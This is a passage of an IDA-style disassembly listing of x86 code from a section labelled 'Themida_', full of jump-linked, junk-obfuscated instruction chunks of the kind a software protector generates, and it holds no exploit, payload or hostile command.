loc_55F449: ; CODE XREF: Themida_:0055FEBDj push dword ptr [esp] pop ebx add esp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_56C65F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55F464: ; CODE XREF: sub_56755A-8309j xor ebx, 9E5262F5h jmp loc_55C269 ; --------------------------------------------------------------------------- loc_55F46F: ; CODE XREF: sub_56755A+545j push 50B6h mov [esp+30h+var_30], eax jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55F47C: ; CODE XREF: Themida_:0055CC2Bj pop dword ptr [esp] pop esp mov [esp], eax mov eax, esp jmp loc_55B73C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563973 loc_55F48A: ; CODE XREF: sub_563973-3614j xor ebx, 80960A84h sub esp, 4 jmp loc_56E1FA ; END OF FUNCTION CHUNK FOR sub_563973 ; --------------------------------------------------------------------------- loc_55F49B: ; CODE XREF: Themida_:005653F9j sub esi, 76CA7A71h pop ebx jmp loc_568B77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_55F4A7: ; CODE XREF: sub_55CD7B+D347j mov ecx, 6EB8622Dh sub edx, ecx pop ecx pop ebp push edx push [esp+arg_0] jmp loc_5629CE ; END OF FUNCTION CHUNK FOR sub_55CD7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5637DB loc_55F4BA: ; CODE XREF: sub_5637DB+2A15j xor ebp, edi jmp loc_567946 ; END OF FUNCTION CHUNK FOR sub_5637DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C86A loc_55F4C1: ; CODE XREF: sub_56C86A+386Cj mov dl, 82h jmp loc_55BD81 ; END OF FUNCTION CHUNK FOR sub_56C86A ; --------------------------------------------------------------------------- loc_55F4C8: ; CODE XREF: Themida_:0056A9FFj mov ebx, 0AD21CAh mov ecx, 74B24877h sub ecx, 1DA11D46h jmp loc_569EE0 ; --------------------------------------------------------------------------- loc_55F4DD: ; CODE XREF: Themida_:00561E1Bj not edx xchg edx, ebp neg ebp jmp loc_5634C0 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_56BA3C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55F4F1: ; CODE XREF: sub_56755A+745j pop esi sub esp, 4 mov [esp+30h+var_30], ebx push 74257AE7h pop ebx sub ebx, 5ECD6729h jmp loc_55D6C8 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E55E loc_55F509: ; CODE XREF: sub_56E55E-26CEj pop esp jmp loc_5634E2 ; END OF FUNCTION CHUNK FOR sub_56E55E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55F50F: ; CODE XREF: sub_56755A+6072j push [esp+30h+var_30] jmp loc_561712 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55D71E loc_55F517: ; CODE XREF: sub_55D71E+F0EDj mov edx, esp add edx, 4 sub edx, 4 jmp loc_55EBBE ; END OF FUNCTION CHUNK FOR sub_55D71E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561C3A loc_55F52A: ; CODE XREF: sub_561C3A+511Dj push 70A1h mov [esp+0], ecx push 39687C31h pop ecx add ecx, 677562CAh push ebx mov ebx, 702D6517h sub ecx, ebx pop ebx xor ecx, 4F92055Eh push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xor ecx, [esp+4+var_4] xor [esp+4+var_4], ecx xor ecx, [esp+4+var_4] pop esp mov [esp+0], ecx push edi mov edi, 2C872F63h add [esp+4], edi pop edi pop edi sub edi, 2C872F63h pop ecx not edi sub edi, 3EA03955h sub esp, 4 jmp loc_569696 ; END OF FUNCTION CHUNK FOR sub_561C3A ; --------------------------------------------------------------------------- loc_55F58C: ; CODE XREF: Themida_:005606EDj mov eax, 2377724Dh dec eax jmp loc_564727 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55F597: ; CODE XREF: sub_56755A-5E19j push 0 sub [esp+38h+var_38], ebp jmp loc_567F4C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55F5A4: ; CODE XREF: Themida_:0055C535j pop eax sub esp, 4 jmp loc_55EB9C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_55F5AD: ; CODE XREF: sub_56F653-6D9Cj mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55B9ED ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- loc_55F5BD: ; CODE XREF: Themida_:00568796j pop edx inc edi or edi, 1C905A4Fh xor edi, 0E43F748Dh xor eax, edi pop edi sub ebx, eax pop eax jmp loc_55F2B2 ; =============== S U B R O U T I N E ======================================= sub_55F5D6 proc near ; CODE XREF: sub_56755A+4602j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055EED8 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 00560B48 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056D595 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056E609 SIZE 00000007 BYTES sub esp, 4 jmp loc_56D595 sub_55F5D6 endp ; --------------------------------------------------------------------------- loc_55F5E1: ; CODE XREF: Themida_:005606F8j mov ebp, [esp] push 2C4h mov [esp], edi push esp pop edi add edi, 4 push eax jmp loc_55D92A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561C3A loc_55F5FA: ; CODE XREF: sub_561C3A+4CECj add esi, edi pop edi add esi, 414D7065h push [esp-8+arg_4] push [esp-4+arg_0] pop edi add esp, 4 jmp loc_55DB04 ; END OF FUNCTION CHUNK FOR sub_561C3A ; --------------------------------------------------------------------------- loc_55F612: ; CODE XREF: Themida_:00563D56j add esi, edx jmp loc_56A81D ; --------------------------------------------------------------------------- loc_55F619: ; CODE XREF: Themida_:0055F73Cj add edi, ebp jmp loc_562B62 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EB5 loc_55F620: ; CODE XREF: sub_560EB5+2B5j pop si mov ax, dx pop edx jmp loc_560F87 ; END OF FUNCTION CHUNK FOR sub_560EB5 ; --------------------------------------------------------------------------- loc_55F62B: ; CODE XREF: Themida_:0056A1FEj xor ebx, ebp pop ebp sub eax, ebx pop ebx xchg eax, [esp] pop esp mov [esp], eax mov eax, esp push ebx mov ebx, esp add ebx, 4 push esi mov esi, 4 sub ebx, esi pop esi xchg ebx, [esp] pop esp mov [esp], ebx mov ebx, 6B3B0DC4h jmp loc_56DF46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5706E9 loc_55F65D: ; CODE XREF: sub_5706E9-FD41j push eax mov eax, 1C3D661Eh xchg eax, esi jmp loc_568EB3 ; END OF FUNCTION CHUNK FOR sub_5706E9 ; --------------------------------------------------------------------------- loc_55F669: ; CODE XREF: Themida_:0055DB7Ej mov [esp], ebp mov ebp, 4FE56B9Ah xor ebp, 2C9961E1h sub ebp, 0FFFFFFFFh jmp loc_563595 ; --------------------------------------------------------------------------- loc_55F67F: ; CODE XREF: Themida_:0055BAB3j mov ecx, 87B1C95h jmp loc_565BCB ; --------------------------------------------------------------------------- loc_55F689: ; CODE XREF: Themida_:0055D1A3j mov [esp], eax jmp loc_55D8EE ; --------------------------------------------------------------------------- loc_55F691: ; CODE XREF: Themida_:0056111Aj shr eax, 1 and eax, 10EA20B7h jmp loc_56F6F9 ; --------------------------------------------------------------------------- loc_55F69D: ; CODE XREF: Themida_:00570120j mov ebp, [esp] add esp, 4 add ebp, 4 sub esp, 4 mov [esp], edi mov edi, 78140AD4h dec edi jmp loc_56E725 ; --------------------------------------------------------------------------- loc_55F6BD: ; CODE XREF: Themida_:0056E538j pop ebx jmp loc_568D38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55F6C3: ; CODE XREF: sub_56755A-2B61j add dh, al jmp loc_56F7B7 ; --------------------------------------------------------------------------- loc_55F6CA: ; CODE XREF: sub_56755A+1401j mov [esp+38h+var_38], ebx mov ebx, 59753193h or edi, ebx pop ebx push esi mov esi, 7E30728h jmp loc_5650DC ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55F6E0: ; CODE XREF: Themida_:0055EF9Dj mov eax, 4 jmp loc_568640 ; --------------------------------------------------------------------------- loc_55F6EA: ; CODE XREF: Themida_:00566EE1j push esp push dword ptr [esp] pop eax jmp loc_56ACE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5600E2 loc_55F6F4: ; CODE XREF: sub_5600E2-4748j mov eax, edi pop edi add ebx, 132E3109h add ebx, 34954F51h jmp loc_5629DB ; END OF FUNCTION CHUNK FOR sub_5600E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5635DE loc_55F708: ; CODE XREF: sub_5635DE+57B6j add ecx, ebx pop ebx sub ecx, 4 xor ecx, [esp+8+var_8] jmp loc_56398F ; END OF FUNCTION CHUNK FOR sub_5635DE ; --------------------------------------------------------------------------- loc_55F716: ; CODE XREF: Themida_:00569F0Ej add ebx, ebp push 17B5h mov [esp], edi jmp loc_55C2BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55F725: ; CODE XREF: sub_56755A-9459j sub edx, ecx pop ecx add esi, edx jmp loc_567E9D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55F72F: ; CODE XREF: Themida_:00566E9Cj mov esp, [esp] sar byte ptr [esp], cl pushf jmp loc_55B555 ; --------------------------------------------------------------------------- loc_55F73B: ; CODE XREF: Themida_:00563283j pop edi jmp loc_55F619 ; --------------------------------------------------------------------------- loc_55F741: ; CODE XREF: Themida_:0056185Ej neg ecx or ecx, 545E46D8h add ecx, 81A01EFFh mov ebx, ecx pop ecx inc ebx jmp loc_56CEF4 ; --------------------------------------------------------------------------- loc_55F758: ; CODE XREF: Themida_:0055DC8Bj push esi mov esi, 2F2B688Bh not esi not esi sub esi, 340515FCh add esi, 16C3290Eh jmp loc_56D08F ; --------------------------------------------------------------------------- mov cx, [esp] push ebx jmp loc_564667 ; --------------------------------------------------------------------------- loc_55F77D: ; CODE XREF: Themida_:0056CF66j mov [esp], ecx jmp loc_560DC2 ; --------------------------------------------------------------------------- loc_55F785: ; CODE XREF: Themida_:00564FAFj add si, 7027h jmp loc_561069 ; --------------------------------------------------------------------------- loc_55F78F: ; CODE XREF: Themida_:00570712j mov ebp, 22AA106Fh shl ebp, 1 not ebp push 2BECh mov [esp], edi mov edi, 1D5453E0h add ebp, edi pop edi jmp loc_56B096 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DD27 loc_55F7AD: ; CODE XREF: sub_55DD27+11FD4j add esi, 4 xor esi, [esp+8+var_8] xor [esp+8+var_8], esi xor esi, [esp+8+var_8] pop esp add ebp, 4 push ebp jmp loc_561D4C ; END OF FUNCTION CHUNK FOR sub_55DD27 ; --------------------------------------------------------------------------- loc_55F7C3: ; CODE XREF: Themida_:0055F1D0j add ch, 3Ch add ch, 0FFh xor ch, 66h sub al, ch pop ecx jmp loc_55D839 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56970A loc_55F7D4: ; CODE XREF: sub_56970A+2j push 3A173864h jmp loc_55DF0B ; END OF FUNCTION CHUNK FOR sub_56970A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56667A loc_55F7DE: ; CODE XREF: sub_56667A+3498j add esp, 4 push eax push esi jmp loc_56F8F3 ; END OF FUNCTION CHUNK FOR sub_56667A ; --------------------------------------------------------------------------- loc_55F7E8: ; CODE XREF: Themida_:00570574j inc ch or ch, 60h jmp loc_56CD13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55F7F2: ; CODE XREF: sub_56755A-3866j sub ecx, edi pop edi add ecx, edx add ecx, 4555473Ch mov edx, [esp-8+arg_4] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-4+arg_0] pop esp add ecx, 2 xor ecx, [esp-8+arg_4] xor [esp-8+arg_4], ecx xor ecx, [esp-8+arg_4] pop esp cmp cl, al pushf jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55F824: ; CODE XREF: Themida_:005684A0j add ebp, 1E68350Ch jmp loc_55B965 ; --------------------------------------------------------------------------- loc_55F82F: ; CODE XREF: Themida_:00563AFAj mov ecx, edx pop edx and ecx, 1DFB5E11h jmp loc_56C7E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EBD2 loc_55F83D: ; CODE XREF: sub_56EBD2-17F9j pop esp jmp sub_56657C ; END OF FUNCTION CHUNK FOR sub_56EBD2 ; --------------------------------------------------------------------------- loc_55F843: ; CODE XREF: Themida_:0055F0BDj pop edx push 61C9h mov [esp], edi jmp loc_5654E6 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_564693 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FE13 loc_55F85A: ; CODE XREF: sub_55FE13-1DEEj mov cl, 45h jmp loc_568557 ; END OF FUNCTION CHUNK FOR sub_55FE13 ; =============== S U B R O U T I N E ======================================= sub_55F861 proc near ; CODE XREF: sub_55EF75+938Aj ; FUNCTION CHUNK AT 0055B9A7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00561E4B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00563440 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056662E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056F26C SIZE 00000006 BYTES push ebx jmp loc_56662E sub_55F861 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_55F867: ; CODE XREF: Themida_:0056E222j mov [esp], ecx push 5B38h mov [esp], esp add dword ptr [esp], 4 pop ecx jmp loc_564B86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E931 loc_55F87C: ; CODE XREF: sub_55E931+1DF8j mov esi, [esp-4+arg_0] push eax mov eax, esp add eax, 4 jmp loc_5696D6 ; END OF FUNCTION CHUNK FOR sub_55E931 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55F88C: ; CODE XREF: sub_56755A-3A55j mov ecx, [esp-8+arg_4] add esp, 4 jmp loc_56E793 ; --------------------------------------------------------------------------- loc_55F89A: ; CODE XREF: sub_56755A+78E9j sub edx, 64AF6EF5h jmp loc_55F3BE ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55F8A5: ; CODE XREF: Themida_:00565096j mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_56A6B6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F50 loc_55F8BE: ; CODE XREF: sub_562F50+38B5j pop esp mov [esp+0], eax xor dword ptr [esp+0], 4A9F545Dh pop dword ptr [edx+38h] push ebx mov ebx, 38h add ebx, edx push eax jmp loc_56698F ; END OF FUNCTION CHUNK FOR sub_562F50 ; --------------------------------------------------------------------------- loc_55F8DA: ; CODE XREF: Themida_:005634C1j mov ebx, 6AFF05B9h or ebp, ebx pop ebx jmp loc_55CE5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55F8E7: ; CODE XREF: sub_56755A+7377j xchg ebx, [esp-0Ch+arg_8] pop esp mov [esp-10h+arg_C], ecx push ebx push ecx push 5978002Ch jmp loc_561A22 ; --------------------------------------------------------------------------- loc_55F8FA: ; CODE XREF: sub_56755A-6FF9j sub esi, 160A15Fh sub ebx, 70DF5EB9h add ebx, esi add ebx, 70DF5EB9h pop esi jmp loc_55E893 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55F914: ; CODE XREF: Themida_:005665ADj sub ebp, 6C69642Dh jmp loc_5621DE ; --------------------------------------------------------------------------- loc_55F91F: ; CODE XREF: Themida_:0056C5ECj pop edx push eax push esp pop eax add eax, 4 push ecx jmp loc_56B9AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55C719 loc_55F92E: ; CODE XREF: sub_55C719-88Dj add ecx, 5C864565h sub ecx, 2B5C7101h pop eax add ecx, 4 xor ecx, [esp+4+var_4] xor [esp+4+var_4], ecx xor ecx, [esp+4+var_4] mov esp, [esp+4+var_4] jmp loc_56C8AB ; END OF FUNCTION CHUNK FOR sub_55C719 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55F94F: ; CODE XREF: sub_56755A+60EFj push edx mov edx, 7F7E5DBEh sub edx, 1CF762A8h jmp loc_55E4B3 ; --------------------------------------------------------------------------- loc_55F960: ; CODE XREF: sub_56755A+796Fj add edi, 4 xchg edi, [esp-4+arg_0] jmp loc_5677F4 ; --------------------------------------------------------------------------- loc_55F96B: ; CODE XREF: sub_56755A+6E33j xor ecx, eax pop eax sub esi, 0B436E11h add esi, ecx add esi, 0B436E11h mov ecx, [esp-8+arg_4] add esp, 4 jmp loc_5612EC ; --------------------------------------------------------------------------- loc_55F98A: ; CODE XREF: sub_56755A+1AE8j mov ecx, [esp-0Ch+arg_8] add esp, 4 add eax, 8EEFF0FFh sub ecx, 46924B84h add ecx, 38ED74C0h add ecx, eax sub ecx, 38ED74C0h jmp loc_56AA84 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55F9B1: ; CODE XREF: Themida_:0056CFE0j push ebx push dword ptr [esp+4] pop ebx jmp loc_55EA7E ; --------------------------------------------------------------------------- loc_55F9BC: ; CODE XREF: Themida_:00560925j pop eax pop esi sub edi, 73511B41h add edi, ebp add edi, 73511B41h mov ebp, [esp] add esp, 4 jmp loc_56506B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55F9D7: ; CODE XREF: sub_56755A+6358j mov ecx, eax jmp loc_562386 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55F9DE: ; CODE XREF: Themida_:0055F074j neg edx add edx, 6E761D4Ah xor edx, 1E955CE3h xor edx, 4D8966FFh add edx, 5B9D2492h add eax, edx pop edx sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], edi push esp push dword ptr [esp] jmp loc_561407 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55FA12: ; CODE XREF: sub_56755A-362Bj mov edx, 0B3D1499h mov eax, 58F3D1Bh xor eax, edx pop edx add eax, 2C555103h jmp sub_56667A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55FA29: ; CODE XREF: Themida_:0055C4D7j push ebp mov ebp, 4 add eax, ebp pop ebp add eax, 4 xchg eax, [esp] pop esp jmp loc_56F796 ; --------------------------------------------------------------------------- loc_55FA40: ; CODE XREF: Themida_:0056C9BEj xchg edi, [esp] pop esp jmp loc_55CB5D ; --------------------------------------------------------------------------- loc_55FA49: ; CODE XREF: Themida_:0055FF12j mov bl, dl push edx sub esp, 4 mov [esp], eax mov ah, bl mov dl, ah pop eax push ecx mov cl, dl mov [eax], cl pop ecx jmp loc_5675B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55FA62: ; CODE XREF: sub_56755A+2225j push 4260h mov [esp-10h+arg_C], edx mov edx, 4CAE38FDh mov edi, 6D5F6E8Ch jmp loc_5643AA ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55FA79: ; CODE XREF: Themida_:0056D876j add esp, 4 push ecx push esp jmp loc_56BC69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55FA83: ; CODE XREF: sub_56755A-E27j mov dh, 1Ah mov ch, dh mov edx, [esp-10h+arg_C] add esp, 4 and dl, ch push [esp-14h+arg_10] jmp loc_56AFB2 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55FA97: ; CODE XREF: Themida_:0056DC31j mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_567EEF ; --------------------------------------------------------------------------- loc_55FAB8: ; CODE XREF: Themida_:00560D0Cj pop ebx jmp loc_56D86D ; --------------------------------------------------------------------------- loc_55FABE: ; CODE XREF: Themida_:00561A0Ej shl esi, 3 sub esi, 0F6770EC3h jmp loc_567D70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D600 loc_55FACC: ; CODE XREF: sub_56D600+F24j mov bx, word ptr [esp-6+arg_0+2] add esp, 2 not bl add bl, 1 and bl, 0A4h add bl, 3Eh and cl, bl mov ebx, [esp-0Ah+arg_4+2] add esp, 4 push ebx jmp loc_55E4CA ; END OF FUNCTION CHUNK FOR sub_56D600 ; --------------------------------------------------------------------------- loc_55FAEC: ; CODE XREF: Themida_:00569388j mov [esp], edi mov edi, 5F8D3A29h dec edi jmp loc_56EDB0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_55FAFA: ; CODE XREF: sub_56E89A-F491j push edi push edx add [esp+0Ch+var_C], 43F4244Fh jmp loc_564CD2 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55FB08: ; CODE XREF: sub_56755A+914j pop ecx add ecx, 52512253h add ecx, ebp sub ecx, 52512253h jmp loc_56E3DE ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55FB1C: ; CODE XREF: Themida_:00568E07j and esi, ebp pop ebp dec esi not esi add esi, 77CC0303h shl esi, 4 xor esi, 0AD5F80BBh add ebx, esi pop esi add edx, 3786932h add edx, ebx jmp loc_565F09 ; --------------------------------------------------------------------------- loc_55FB41: ; CODE XREF: Themida_:00562794j sub ebx, edx push dword ptr [esp] pop edx add esp, 4 jmp loc_5626D1 ; --------------------------------------------------------------------------- loc_55FB4F: ; CODE XREF: Themida_:0056472Cj sub edi, eax pop eax shr edi, 5 xor edi, 54BBCC03h jmp loc_56BB19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56026A loc_55FB60: ; CODE XREF: sub_56026A+E684j push esp pop edi jmp sub_565CEF ; END OF FUNCTION CHUNK FOR sub_56026A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55FB67: ; CODE XREF: sub_56755A+7E97j inc esi and esi, 11BE4D1Bh and esi, 4C5F0A00h sub esi, 1E07FCh push esi xor [esp-10h+arg_C], 2F9A3D46h pop edi jmp loc_5633DF ; --------------------------------------------------------------------------- loc_55FB88: ; CODE XREF: sub_56755A-7834j mov edx, 4 sub ecx, 1AD721E2h add ecx, edx add ecx, 1AD721E2h pop edx xchg ecx, [esp-18h+arg_14] pop esp push esi mov esi, 4 add ebx, 56C65502h push esi mov esi, 7A887419h sub ebx, esi pop esi add ebx, esi jmp loc_55F169 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp], cl pushf jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55FBCC: ; CODE XREF: sub_56755A-15C8j pop esp movsx ecx, ax push 7E3Ch mov [esp-18h+arg_14], esi sub esp, 4 mov [esp-14h+arg_10], esp jmp loc_563F34 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561ED8 loc_55FBE3: ; CODE XREF: sub_561ED8+5157j and ch, 0DFh xor ch, 41h add dl, ch pop ecx sub bl, 1Ch add bl, dl add bl, 1Ch jmp loc_55D977 ; END OF FUNCTION CHUNK FOR sub_561ED8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55FBF9: ; CODE XREF: sub_56755A+328Bj push 2DDAh mov [esp-10h+arg_C], ebp mov ebp, 2 add ebx, ebp mov ebp, [esp-10h+arg_C] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-0Ch+arg_8] pop esp push ebx jmp loc_55D232 ; --------------------------------------------------------------------------- loc_55FC21: ; CODE XREF: sub_56755A-385Fj pop edi jmp loc_55C342 ; --------------------------------------------------------------------------- loc_55FC27: ; CODE XREF: sub_56755A-B642j sub eax, 0FFFFFFFFh push edi mov edi, 0B2C70654h sub eax, 3D452A1Ah jmp loc_563141 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564603 loc_55FC3C: ; CODE XREF: sub_564603+19j add esi, 3DE70FB3h shl esi, 6 jmp loc_567ED8 ; END OF FUNCTION CHUNK FOR sub_564603 ; --------------------------------------------------------------------------- loc_55FC4A: ; CODE XREF: Themida_:0056F2B4j mov ah, 3Dh sub bl, ah jmp loc_56DC70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55FC53: ; CODE XREF: sub_56755A+167j xor ebx, esi pop esi and eax, ebx mov ebx, [esp+12h+var_14+2] add esp, 4 sub esp, 4 jmp loc_5610AE ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55FC6C: ; CODE XREF: Themida_:00560498j xor [esp], ecx xor ecx, [esp] jmp loc_5643C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5635DE loc_55FC77: ; CODE XREF: sub_5635DE-2D79j add esp, 4 and edx, 132D12ECh jmp sub_56970A ; END OF FUNCTION CHUNK FOR sub_5635DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55C719 loc_55FC88: ; CODE XREF: sub_55C719-EC6j add esp, 4 push edx mov edx, 4 add ebx, edx jmp loc_566E46 ; END OF FUNCTION CHUNK FOR sub_55C719 ; --------------------------------------------------------------------------- loc_55FC9B: ; CODE XREF: Themida_:0056306Aj mov [esp], eax push ecx jmp loc_5662A3 ; --------------------------------------------------------------------------- loc_55FCA4: ; CODE XREF: Themida_:0056F362j xchg eax, ebp shl ebp, 4 neg ebp add ebp, 0B77B89B7h jmp loc_56AAA3 ; --------------------------------------------------------------------------- loc_55FCB5: ; CODE XREF: Themida_:00568B10j mov ebx, 4 add ebp, ebx mov ebx, [esp] add esp, 4 push 4DD8h mov [esp], eax jmp loc_56347B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D83A loc_55FCCF: ; CODE XREF: sub_56D83A+240Fj sub [esp+8], ebp sub dword ptr [esp+8], 4049Fh pop ebp jmp loc_55ED0F ; END OF FUNCTION CHUNK FOR sub_56D83A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F50 loc_55FCE1: ; CODE XREF: sub_562F50+C0EEj add eax, edx pop edx jmp loc_565030 ; END OF FUNCTION CHUNK FOR sub_562F50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5696A6 loc_55FCE9: ; CODE XREF: sub_5696A6+62CDj shr ebp, 8 push edi jmp sub_568EFC ; END OF FUNCTION CHUNK FOR sub_5696A6 ; --------------------------------------------------------------------------- loc_55FCF2: ; CODE XREF: Themida_:0056FED6j xchg edi, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 jmp loc_56452C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55FD05: ; CODE XREF: sub_56755A+147Ej push [esp+12h+var_14+2] jmp loc_566FAC ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55FD0D: ; CODE XREF: Themida_:005688A0j add esi, 73E340D0h dec esi push ebp mov ebp, 0C47400Eh jmp loc_566B28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55FD1F: ; CODE XREF: sub_56755A+6FF6j add ecx, 4 push edx jmp loc_55FB88 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55FD2B: ; CODE XREF: Themida_:0056F137j xchg eax, [esp] jmp loc_569CF8 ; --------------------------------------------------------------------------- loc_55FD33: ; CODE XREF: Themida_:0055F2B6j jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CAA loc_55FD38: ; CODE XREF: sub_560CAA+52F0j pop esp jmp loc_564FE4 ; END OF FUNCTION CHUNK FOR sub_560CAA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55FD3E: ; CODE XREF: sub_56755A-3C33j mov esi, 0BAE527Fh add esi, 58B0782Dh not esi add esi, 0A4C8F6D8h xor esi, 58C66E3Eh sub ecx, esi pop esi sub esp, 4 mov [esp+1Ah+var_1C+2], esi push 1A3F14D1h pop esi xor ecx, esi mov esi, [esp+1Ah+var_1C+2] jmp loc_56D3F1 ; --------------------------------------------------------------------------- loc_55FD73: ; CODE XREF: sub_56755A-A7F8j not edi xchg edi, edx push ecx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+24h+var_24] jmp loc_55DC76 ; END OF FUNCTION CHUNK 